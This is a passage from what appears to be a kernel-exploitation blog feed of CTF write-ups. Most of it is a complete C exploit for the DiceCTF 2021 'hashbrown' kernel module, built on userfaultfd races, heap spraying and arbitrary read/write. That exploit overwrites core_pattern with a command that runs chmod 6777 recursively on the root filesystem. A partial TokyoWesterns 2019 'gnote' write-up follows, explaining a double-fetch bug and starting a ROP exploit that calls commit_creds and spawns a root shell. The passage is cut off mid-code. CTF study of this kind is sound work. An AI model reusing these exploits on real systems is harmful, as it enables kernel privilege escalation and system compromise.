    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

#define VULN_DEV_NAME &amp;#34;hashbrown&amp;#34;

#define VULN_DEV_CMD_ADD_KEY 0x1337
#define VULN_DEV_CMD_DELETE_KEY 0x1338
#define VULN_DEV_CMD_UPDATE_VALUE 0x1339
#define VULN_DEV_CMD_DELETE_VALUE 0x133a
#define VULN_DEV_CMD_GET_VALUE 0x133b

#define VULN_DEV_CONST_SIZE_ARR_START 0x10
#define VULN_DEV_CONST_SIZE_ARR_MAX 0x200
#define VULN_DEV_CONST_MAX_ENTRIES 0x400
#define VULN_DEV_CONST_MAX_VALUE_SIZE 0xb0
#define VULN_DEV_GET_THRESHOLD(size) (size - (size &amp;gt;&amp;gt; 2))

#define VULN_DEV_RESULT_INVALID 1
#define VULN_DEV_RESULT_EXISTS 2
#define VULN_DEV_RESULT_NOT_EXISTS 3
#define VULN_DEV_RESULT_MAXED 4

typedef struct {
  uint32_t key;
  uint32_t size;
  char* src;
  char* dest;
} request_t;

static int vuln_dev_add_key(uint32_t key, void* src, uint32_t size);
static int vuln_dev_delete_key(uint32_t key);
static int vuln_dev_update_value(uint32_t key, void* src, uint32_t size);
static int vuln_dev_delete_value(uint32_t key);
static int vuln_dev_get_value(uint32_t key, void* out, uint32_t size);

static uint32_t get_hash_idx_from_key(uint32_t key, uint32_t size);
static void calculate_hash_collision(uint32_t* out, size_t out_size,
                                     uint32_t hash, uint32_t size);

int vuln_fd = 0;
static int vuln_dev_add_key(uint32_t key, void* src, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = (char*)src, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD_KEY, &amp;amp;req);
}
static int vuln_dev_delete_key(uint32_t key) {
  request_t req = {.key = key, .size = 0, .src = NULL, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DELETE_KEY, &amp;amp;req);
}
static int vuln_dev_update_value(uint32_t key, void* src, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = (char*)src, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_UPDATE_VALUE, &amp;amp;req);
}
static int vuln_dev_delete_value(uint32_t key) {
  request_t req = {.key = key, .size = 0, .src = NULL, .dest = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DELETE_VALUE, &amp;amp;req);
}
static int vuln_dev_get_value(uint32_t key, void* dest, uint32_t size) {
  request_t req = {.key = key, .size = size, .src = NULL, .dest = (char*)dest};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET_VALUE, &amp;amp;req);
}

static uint32_t get_hash_idx_from_key(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key &amp;gt;&amp;gt; 20) ^ (key &amp;gt;&amp;gt; 12);
  hash = key ^ (key &amp;gt;&amp;gt; 7) ^ (key &amp;gt;&amp;gt; 4);
  return hash &amp;amp; (size - 1);
}
static void calculate_hash_collision(uint32_t* out, size_t out_size,
                                     uint32_t hash, uint32_t size) {
  if (hash &amp;gt;= size) {
    fatal(&amp;#34;calculate_hash_collision: hash &amp;gt;= size&amp;#34;);
  }

  uint32_t* p = out;
  const uint32_t* const last_p = p + out_size;
  for (uint32_t cur_key = 0; cur_key &amp;lt;= 0xffffffff; ++cur_key) {
    const uint32_t cur_hash = get_hash_idx_from_key(cur_key, size);
    if (cur_hash != hash) {
      continue;
    }
    *p++ = cur_key;
    if (p == last_p) {
      break;
    }
  }
}

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define IS_IN_KERNEL_BASE_RANGE(x) \
  (KERNEL_BASE_START &amp;lt;= (x) &amp;amp;&amp;amp; (x) &amp;lt;= KERNEL_BASE_END)
#define KERNEL_MODULE_START 0xffffffffc0000000

#define KERNEL_MODPROBE_OFFSET (0xa46fe0)
#define KERNEL_CORE_PATTERN_OFFSET (0xb0cd00)
#define KERNEL_START_SYMTAB_OFFSET (0x990940)
#define KERNEL_MODULE_HASHMAP_OFFSET (0x2540)

static void entry_spray(uint32_t idx, void* data, size_t size);
static void* pthread_entry_spray(void* arg);

static uint64_t construct_corrupted_entry();

static uint64_t leak_heap_address();

static void aar(void* out, uint64_t addr, size_t size);
static void aaw(uint64_t addr, void* data, size_t size);
static uint64_t aar64(uint64_t addr);
static void aaw64(uint64_t addr, uint64_t val);

static uint64_t find_kernel_address(uint64_t heap_addr);
static uint64_t find_module_base();
static uint64_t find_core_pattern_address(uint64_t kernel_addr);

static void entry_spray(uint32_t idx, void* data, size_t size) {
  uint32_t keys[512];
  calculate_hash_collision(keys, 512, idx, VULN_DEV_CONST_SIZE_ARR_MAX);
  for (int i = 0; i &amp;lt; 512; ++i) {
    vuln_dev_add_key(keys[i], data, size);
  }
}
static void* pthread_entry_spray(void* arg) {
  uint32_t idx = *(uint32_t*)(arg);
  void* data = (void*)*(uint64_t*)(arg + 8);
  size_t size = *(size_t*)(arg + 16);
  uint32_t keys[512];
  entry_spray(idx, data, size);
}

cpu_set_t target_cpu;
uint32_t collision_keys[VULN_DEV_CONST_SIZE_ARR_MAX];
static void* userfault_handler_for_construct_fake_entry(void* args) {
  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_construct_fake_entry: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  // puts(
  //     &amp;#34;[*] userfault_handler_for_construct_fake_entry: waiting for page &amp;#34;
  //     &amp;#34;fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_construct_fake_entry: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_construct_fake_entry: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_construct_fake_entry: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    // printf(
    //     &amp;#34;[*] userfault_handler_for_construct_fake_entry: addr=0x%llx, &amp;#34;
    //     &amp;#34;flag=0x%llx\n&amp;#34;,
    //     msg.arg.pagefault.address, msg.arg.pagefault.flags);

    // Main Routine
    puts(&amp;#34;[+] UFFD: Deleting values...&amp;#34;);
    uint32_t cur_size = VULN_DEV_CONST_SIZE_ARR_MAX / 2;
    uint32_t cur_threshold = VULN_DEV_GET_THRESHOLD(cur_size);
    for (int i = 0; i &amp;lt;= cur_threshold + 1; ++i) {
      vuln_dev_delete_value(collision_keys[i]);
    }
    copy.src = (uint64_t)page;  // data of page will be data of faulted page

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler_for_construct_fake_entry: ioctl(UFFDIO_COPY)&amp;#34;);
    }
    break;
  }

  munmap(page, 0x1000);
  return NULL;
}

static uint64_t construct_corrupted_entry() {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  memset(data, &amp;#39;a&amp;#39;, 0x20);
  uint32_t target_idx = 0;
  uint32_t cur_size = VULN_DEV_CONST_SIZE_ARR_MAX / 2;
  uint32_t cur_threshold = VULN_DEV_GET_THRESHOLD(cur_size);
  calculate_hash_collision(collision_keys, 512, target_idx,
                           VULN_DEV_CONST_SIZE_ARR_MAX);

  puts(&amp;#34;[*] Adding keys...&amp;#34;);
  for (int i = 0; i &amp;lt; cur_threshold; ++i) {
    vuln_dev_add_key(collision_keys[i], data, sizeof(data));
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  int uffd = register_uffd(uffd_page, 0x1000,
                           userfault_handler_for_construct_fake_entry);

  puts(&amp;#34;[*] Trigger `resize` and deleting values...&amp;#34;);
  vuln_dev_add_key(collision_keys[cur_threshold + 1], uffd_page, sizeof(data));

  puts(&amp;#34;[*] Spraying entries...&amp;#34;);
  {
    entry_spray(1, data, 0x20);
    pthread_t th;
    uint64_t arg[3] = {2, (uint64_t)data, 0x20};
    pthread_create(&amp;amp;th, NULL, pthread_entry_spray, arg);
    pthread_join(th, NULL);
  }

  puts(&amp;#34;[*] Checking there is a corrupted entry...&amp;#34;);
  uint64_t entry_key = -1, backing_key = -1;
  for (int i = 0; i &amp;lt;= cur_threshold + 1; ++i) {
    uint32_t cur_key = collision_keys[i];
    vuln_dev_get_value(collision_keys[i], data, 0x20);
    if (*uint64_data == 0x6161616161616161 || (*uint64_data &amp;gt;&amp;gt; 32) != 0x20) {
      continue;
    }

    entry_key = cur_key;
    backing_key = (*uint64_data) &amp;amp; 0xffffffff;
    break;
  }

  close(uffd);
  munmap(uffd_page, 0x1000);

  return (entry_key &amp;lt;&amp;lt; 32) | backing_key;
}

uint32_t controller_key, backing_key;
uint64_t original_backing_ptr;
static uint64_t leak_heap_address() {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  vuln_dev_get_value(controller_key, data, 0x20);
  return uint64_data[1];
}
static void aar(void* dest, uint64_t addr, size_t size) {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  uint64_data[0] = ((size &amp;amp; 0xffffffff) &amp;lt;&amp;lt; 32) | backing_key;
  uint64_data[1] = addr;
  vuln_dev_update_value(controller_key, data, 0x10);
  vuln_dev_get_value(backing_key, dest, size);
}
static void aaw(uint64_t addr, void* src, size_t size) {
  char data[0x20];
  uint64_t* uint64_data = (uint64_t*)data;
  uint64_data[0] = ((size &amp;amp; 0xffffffff) &amp;lt;&amp;lt; 32) | backing_key;
  uint64_data[1] = addr;
  vuln_dev_update_value(controller_key, data, 0x10);
  vuln_dev_update_value(backing_key, src, size);
}
static uint64_t aar64(uint64_t addr) {
  uint64_t val = -1;
  aar(&amp;amp;val, addr, 8);
  return val;
}
static void aaw64(uint64_t addr, uint64_t val) { return aaw(addr, &amp;amp;val, 8); }

static uint64_t find_kernel_address(uint64_t heap_addr) {
  char data[0x1000];
  uint64_t* uint64_data = (uint64_t*)data;
  int sprays[0x1000];
  for (int i = 0; i &amp;lt; 0x1000; ++i) {
    sprays[i] = open(&amp;#34;/proc/self/stat&amp;#34;, O_RDONLY);
  }

  uint64_t addr = heap_addr - 0x8000;
  uint64_t ret = -1;
  while (addr &amp;lt;= heap_addr + 0x8000) {
    uint64_t val = aar64(addr);
    if (IS_IN_KERNEL_BASE_RANGE(val)) {
      ret = val;
      break;
    }
    addr += 8;
  }

  for (int i = 0; i &amp;lt; 0x1000; ++i) {
    close(sprays[i]);
  }
  return ret;
}
static uint64_t find_module_base() {
  uint64_t addr = KERNEL_MODULE_START;
  while (addr &amp;lt;= KERNEL_MODULE_START + 0x10000 * 0x1000) {
    uint64_t val = aar64(addr);
    if (val != -1) {
      return addr;
    }
    addr += 0x1000;
  }
}
static uint64_t find_core_pattern_address(uint64_t kernel_addr) {
  char data[0x20];
  uint64_t maybe_kernel_base = kernel_addr &amp;amp; ~0xfffff;
  uint64_t maybe_core_pattern_addr =
      maybe_kernel_base + KERNEL_CORE_PATTERN_OFFSET;
  uint64_t core_pattern_addr = -1;
  while (core_pattern_addr == -1) {
    aar(data, maybe_core_pattern_addr, 0x20);
    if (!strcmp(data, &amp;#34;core&amp;#34;)) {
      core_pattern_addr = maybe_core_pattern_addr;
    }
    maybe_core_pattern_addr -= 0x100000;
  }
  return core_pattern_addr;
}

int main() {
  vuln_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEV_NAME, O_RDONLY);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open(/dev/&amp;#34; VULN_DEV_NAME &amp;#34;)&amp;#34;);
  }

  uint64_t entry_key_and_backing_key = construct_corrupted_entry();
  controller_key = entry_key_and_backing_key &amp;gt;&amp;gt; 32;
  backing_key = entry_key_and_backing_key &amp;amp; 0xffffffff;
  original_backing_ptr = leak_heap_address();
  printf(
      &amp;#34;[+] Find corrupted entry! (controller_key=0x%08x, &amp;#34;
      &amp;#34;backing_key=0x%08x; backing_ptr=0x%016lx)\n&amp;#34;,
      controller_key, backing_key, original_backing_ptr);

  uint64_t kernel_address = find_kernel_address(original_backing_ptr);
  printf(&amp;#34;[+] kernel_address(not base): 0x%016lx\n&amp;#34;, kernel_address);
  uint64_t module_base = find_module_base();
  printf(&amp;#34;[+] module_base: 0x%016lx\n&amp;#34;, module_base);
  uint64_t core_pattern_address = find_core_pattern_address(kernel_address);
  printf(&amp;#34;[+] core_pattern_address: 0x%016lx\n&amp;#34;, core_pattern_address);
  uint64_t kernel_base = core_pattern_address - KERNEL_CORE_PATTERN_OFFSET;
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);

  char new_core_pattern[] = &amp;#34;|/bin/chmod 6777 -R /&amp;#34;;
  printf(&amp;#34;[*] Overwrite core_pattern to \&amp;#34;%s\&amp;#34;...\n&amp;#34;, new_core_pattern);
  aaw(core_pattern_address, new_core_pattern, sizeof(new_core_pattern));

  puts(&amp;#34;[*] Trigger core_pattern...&amp;#34;);
  uint64_t* evil = (uint64_t*)0xdeadbeefcafebebe;
  *evil = 0;

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/DiceCTF/2021/pwn/hashbrown&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/DiceCTF/2021/pwn/hashbrown&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>TokyoWesternsCTF2019 gnote</title>
      <link>/posts/kernel/write-ups/ctf/tokyowesternsctf2019-gnote/</link>
      <pubDate>Thu, 30 Jan 2025 14:39:40 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/tokyowesternsctf2019-gnote/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;code&gt;4.19.65&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;mmap_min_addr: &lt;code&gt;0x1000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;738214659&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;738214659&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2019-gnote-features.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;typedef struct request_t {
  uint32_t cmd;
  uint32_t arg;
} request_t;

int64_t gnote_write(struct file *a1, const request_t *req, size_t a3,
                    loff_t *a4) {
  uint64_t len;
  note_data_t *req;
  void *new_note_data;

  mutex_lock(&amp;amp;lock);
  switch (req-&amp;gt;cmd) {
    case 1:
      if ((uint64_t)cnt &amp;lt;= 7) {
        len = (uint32_t)req-&amp;gt;arg;
        cur_note = &amp;amp;notes[cnt];
        cur_note-&amp;gt;len = len;
        if (len &amp;lt;= 0x10000) {
          new_note_data = kmalloc(len, 0x6000C0LL);
          ++cnt;
          cur_note-&amp;gt;data = new_note_data;
        }
      }
      break;
    case 2:
      printk(&amp;#34;Edit Not implemented\n&amp;#34;);
      break;
    case 3:
      printk(&amp;#34;Delete Not implemented\n&amp;#34;);
      break;
    case 4:
      printk(&amp;#34;Copy Not implemented\n&amp;#34;);
      break;
    case 5:
      if ((uint32_t)req-&amp;gt;arg &amp;lt; (uint64_t)cnt) selected = (uint32_t)req-&amp;gt;arg;
      break;
    default:
      break;
  }
  mutex_unlock(&amp;amp;lock);
  return a3;
}

uint64_t gnote_read(struct file *a1, char *a2, size_t len, loff_t *a4) {
  note_data_t *cur_note;

  mutex_lock(&amp;amp;lock);
  if (selected == -1) {
    mutex_unlock(&amp;amp;lock);
    return 0LL;
  } else {
    cur_note = &amp;amp;notes[selected];
    if (cur_note-&amp;gt;len &amp;lt;= len) len = cur_note-&amp;gt;len;
    copy_to_user(a2, cur_note-&amp;gt;data, len);
    selected = -1LL;
    mutex_unlock(&amp;amp;lock);
    return len;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The gnote module has just 3 features: add new note, select note and get note&amp;rsquo;s content. But with these features, we cannot write content to note (Edit is not implemented&amp;hellip;).&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;code&gt;4.19.65&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;mmap_min_addr: &lt;code&gt;0x1000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;738214659&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;738214659&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2019-gnote-features.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;typedef struct request_t {
  uint32_t cmd;
  uint32_t arg;
} request_t;

int64_t gnote_write(struct file *a1, const request_t *req, size_t a3,
                    loff_t *a4) {
  uint64_t len;
  note_data_t *req;
  void *new_note_data;

  mutex_lock(&amp;amp;lock);
  switch (req-&amp;gt;cmd) {
    case 1:
      if ((uint64_t)cnt &amp;lt;= 7) {
        len = (uint32_t)req-&amp;gt;arg;
        cur_note = &amp;amp;notes[cnt];
        cur_note-&amp;gt;len = len;
        if (len &amp;lt;= 0x10000) {
          new_note_data = kmalloc(len, 0x6000C0LL);
          ++cnt;
          cur_note-&amp;gt;data = new_note_data;
        }
      }
      break;
    case 2:
      printk(&amp;#34;Edit Not implemented\n&amp;#34;);
      break;
    case 3:
      printk(&amp;#34;Delete Not implemented\n&amp;#34;);
      break;
    case 4:
      printk(&amp;#34;Copy Not implemented\n&amp;#34;);
      break;
    case 5:
      if ((uint32_t)req-&amp;gt;arg &amp;lt; (uint64_t)cnt) selected = (uint32_t)req-&amp;gt;arg;
      break;
    default:
      break;
  }
  mutex_unlock(&amp;amp;lock);
  return a3;
}

uint64_t gnote_read(struct file *a1, char *a2, size_t len, loff_t *a4) {
  note_data_t *cur_note;

  mutex_lock(&amp;amp;lock);
  if (selected == -1) {
    mutex_unlock(&amp;amp;lock);
    return 0LL;
  } else {
    cur_note = &amp;amp;notes[selected];
    if (cur_note-&amp;gt;len &amp;lt;= len) len = cur_note-&amp;gt;len;
    copy_to_user(a2, cur_note-&amp;gt;data, len);
    selected = -1LL;
    mutex_unlock(&amp;amp;lock);
    return len;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The gnote module has just 3 features: add new note, select note and get note&amp;rsquo;s content. But with these features, we cannot write content to note (Edit is not implemented&amp;hellip;).&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;There are two vulnerabilities. First is uninitialized heap and second is double fetch bug in switch statement.&lt;/p&gt;
&lt;h4 id=&#34;uninitialized-heap&#34;&gt;Uninitialized heap&lt;/h4&gt;
&lt;p&gt;When we add note, because the module just use &lt;code&gt;kmalloc&lt;/code&gt; (note that &lt;code&gt;kmalloc&lt;/code&gt; does not clear its data), we can get the previous content of allocated chunk.
Therefore if the chunk was used to store vtable and the address of vtable is not cleared by SLUB or other object, we can get it.&lt;/p&gt;
&lt;h4 id=&#34;double-fetch-in-switch-statement&#34;&gt;Double fetch in switch statement&lt;/h4&gt;
&lt;p&gt;I think this is main bug of this challenge. As we know, sometimes switch statement use jump table for a speed (optimization).
And the switch statement of &lt;code&gt;gnote_write&lt;/code&gt; is implemented by jump table.
But, its index (key) is obtained in user space:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-assembly&#34; data-lang=&#34;assembly&#34;&gt;gnote_write:
  ; ...
  mov     rbx, rsi; rsi is const request_t __user *buf
  mov     r12, rdx
  call    mutex_lock
  cmp     dword ptr [rbx], 5 ; rbx is const request_t __user *buf
  ja      short DEFAULT_CASE
  mov     eax, [rbx]
  mov     rax, JUMP_TABLE[rax*8]; == mov rax, QWORD PTR [rax*8 - off] where 0x3fffef68 &amp;lt;= off &amp;lt;= 0x3effff68
  jmp     __x86_indirect_thunk_rax
  ; ...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The index (key) is double-fetched from user by &lt;code&gt;cmp dword ptr [rbx], 5&lt;/code&gt; and &lt;code&gt;mov eax, [rbx]&lt;/code&gt;.
So if &lt;code&gt;[rbx]&lt;/code&gt; is smaller or equal than 5 when executeing &lt;code&gt;cmp dword ptr [rbx], 5&lt;/code&gt; and set &lt;code&gt;[rbx]&lt;/code&gt; to other value before &lt;code&gt;mov eax, [rbx]&lt;/code&gt;, we can use relatively arbitrary address like jump table.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;leak-kernel-base&#34;&gt;Leak kernel base&lt;/h3&gt;
&lt;p&gt;I explained above, we can leak kernel base using uninitialized heap chunk.
For leaking kernel base, I use heap spray with &amp;ldquo;/dev/ptmx&amp;rdquo; (tty_struct) (see &lt;code&gt;leak_kernel_base&lt;/code&gt; function).&lt;/p&gt;
&lt;h3 id=&#34;exploit-switch__x86_indirect_thunk_rax-using-double-fetch&#34;&gt;Exploit switch(__x86_indirect_thunk_rax) using double fetch&lt;/h3&gt;
&lt;p&gt;We can write a code which cause crash because of invalid jump table index (key) (see &lt;code&gt;jump_at_jump_table_idx&lt;/code&gt;, &lt;code&gt;race1&lt;/code&gt; and &lt;code&gt;race2&lt;/code&gt;).
However&amp;hellip; there is not useful address in (ro)data segment of module&amp;hellip;&lt;/p&gt;
&lt;p&gt;I could not find the way to exploit double fetch. So I just look the assembly instructions of switch statements:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-assembly&#34; data-lang=&#34;assembly&#34;&gt;gnote_write:
  ; ...
  mov     eax, [rbx]
  mov     rax, JUMP_TABLE[rax*8]; == mov rax, QWORD PTR [rax*8 - off] where 0x3fffef68 &amp;lt;= off &amp;lt;= 0x3effff68
  jmp     __x86_indirect_thunk_rax
  ; ...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Do you notice it? the target address of jump table is calulated by &lt;code&gt;key*8 - off&lt;/code&gt; and &lt;code&gt;off&lt;/code&gt; is changed depending on base address of module (&lt;code&gt;off = -(module_base + 0x1098)&lt;/code&gt;).
Let&amp;rsquo;s consider &lt;code&gt;off&lt;/code&gt; is 0x3fffef68 (this means &lt;code&gt;module_base&lt;/code&gt; is 0xffffffffc0000000). In this assumption if &lt;code&gt;rax&lt;/code&gt;, index (key) of jump table, is 0x7fffded, &lt;code&gt;key*8 - off&lt;/code&gt; is 0!! So, we can access address 0 and use it as jump table!!&lt;/p&gt;
&lt;p&gt;In given environment, SMAP is disabled. Therefore we can use stack pivoting with mmaped page with &lt;code&gt;MAP_FIEXED | MAP_POPULATE&lt;/code&gt;.
Since mmap_min_addr is 0x1000 and the minimum key for non-negative result is 0x3fffef68, I think &lt;code&gt;0x200 + 0x7fffded&lt;/code&gt; is best for a fixed key.&lt;/p&gt;
&lt;h3 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h3&gt;
&lt;p&gt;Because we cannot mmap with size = 0x1000000, I mmap with size = 0x400000. So, the success rate of this exploit code is 25%.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;794152863&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;794152863&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2019-gnote-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEV_WRITE_CMD_ADD 1
#define VULN_DEV_WRITE_CMD_SELECT 5
#define VULN_DEV_WRITE_CMD_MAX 6
#define VULN_DEV_MAX_NOTE_COUNT 8

#define VULN_DEV_RELATIVE_IDX_OF_NOTES_TO_JUMP_TABLE 0x26d
#define FAKE_JUMP_TABLE_ADDR ((void*)0x1000)
#define FAKE_JUMP_TABLE_SIZE 0x400000
#define FAKE_STACK_ADDR ((void*)0x5d000000)
#define FAKE_STACK_SIZE 0x6000
#define FAKE_RSP (FAKE_STACK_ADDR + 5)

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define IS_KERNEL_BASE(x) \
  ((KERNEL_BASE_START &amp;lt;= (x)) &amp;amp;&amp;amp; ((x) &amp;lt;= KERNEL_BASE_END))
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81a35260 - KERNEL_BASE_START)
#define MOV_ESP_0x5d000005_OFFSET (0xffffffff811f2bba - KERNEL_BASE_START)
#define POP_RDI_OFFSET (0xffffffff8101c20d - KERNEL_BASE_START)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81069fe0 - KERNEL_BASE_START)
#define POP_RCX_OFFSET (0xffffffff81037523 - KERNEL_BASE_START)
#define MOV_RDI_RAX_REQ_MOV_RDI_RSI_POP_RBP_OFFSET \
  (0xffffffff81018eef - KERNEL_BASE_START)
#define COMMIT_CREDS_OFFSET (0xffffffff81069df0 - KERNEL_BASE_START)
#define BYPASS_KPTI_OFFSET (0xffffffff81600a4a - KERNEL_BASE_START)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

typedef struct request_t {
  uint32_t cmd;
  uint32_t arg;
} request_t;

int vuln_fd;
int vuln_dev_added_count = 0;
void vuln_dev_add(uint64_t size) {
